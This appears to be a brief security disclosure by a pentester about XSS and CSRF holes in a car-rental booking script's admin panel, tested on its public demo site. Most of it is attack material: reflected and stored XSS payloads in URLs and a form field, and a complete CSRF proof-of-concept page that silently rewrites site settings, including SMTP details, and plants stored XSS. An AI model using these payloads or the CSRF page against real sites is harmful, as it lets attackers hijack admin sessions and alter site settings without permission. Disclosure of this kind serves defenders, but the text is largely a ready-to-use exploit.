Well, when I pentest the official demo site of Car Rental Script, I found some vulnerabilities here.
http://travelbookingscript.com/demo/taxibooking_new/admin/areaedit.php?carid=1%27%22%3E123%3Cimg%20src=x%20onerror=console.log(/XSS/)%3E123%3C%22
http://travelbookingscript.com/demo/taxibooking_new/admin/sitesettings.php
POST parameters:
------WebKitFormBoundary908AMAzKLBTagFpr
Content-Disposition: form-data; name="websitename"
Javana rent cars'"><svg/onload=alert(/XSS/)><'"
http://travelbookingscript.com/demo/taxibooking_new/admin/carlistedit.php?carid=36
You can see, we can obtain the current data user or more sensitive data now!
We can use csrf attack to cheat the user to change sensitive settings in the user panel, even add stored-xss content into it.
poc:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/travelbookingscript.com\/demo\/taxibooking_new\/admin\/sitesettings.php?succ", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary908AMAzKLBTagFpr");
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.9");
xhr.withCredentials = true;
var body = "------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"websitename\"\r\n" +
"\r\n" +
"Javana rent cars\'\"\x3e\x3csvg/onload=alert(/XSS/)\x3e\x3c\'\"\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"title\"\r\n" +
"\r\n" +
"Javana rent cars script\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"admin_mailid\"\r\n" +
"\r\n" +
"javanarentcars.com\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"keyword\"\r\n" +
"\r\n" +
"Javanarentcars\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"description\"\r\n" +
"\r\n" +
"Car Rental \r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"websiteurl\"\r\n" +
"\r\n" +
"http://www.javanarentcars.co.id\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"adminmobi\"\r\n" +
"\r\n" +
"98413006621\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"fbook\"\r\n" +
"\r\n" +
"https://www.facebook.com/javanarentcars\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"twtr\"\r\n" +
"\r\n" +
"https://twitter.com/javanarentcars\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"google\"\r\n" +
"\r\n" +
"https://accounts.google.com/#\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"smtpserver\"\r\n" +
"\r\n" +
"mail.i-netsolution.com\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"smtpuser\"\r\n" +
"\r\n" +
"user\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"smtppass\"\r\n" +
"\r\n" +
"23001\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"logo\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"oldlogo\"\r\n" +
"\r\n" +
"1510728426rent cars.jpg\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"Submit\r\n" +
"------WebKitFormBoundary908AMAzKLBTagFpr--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
This vulnerability does not need evil attacker to login into the admin or the user panel.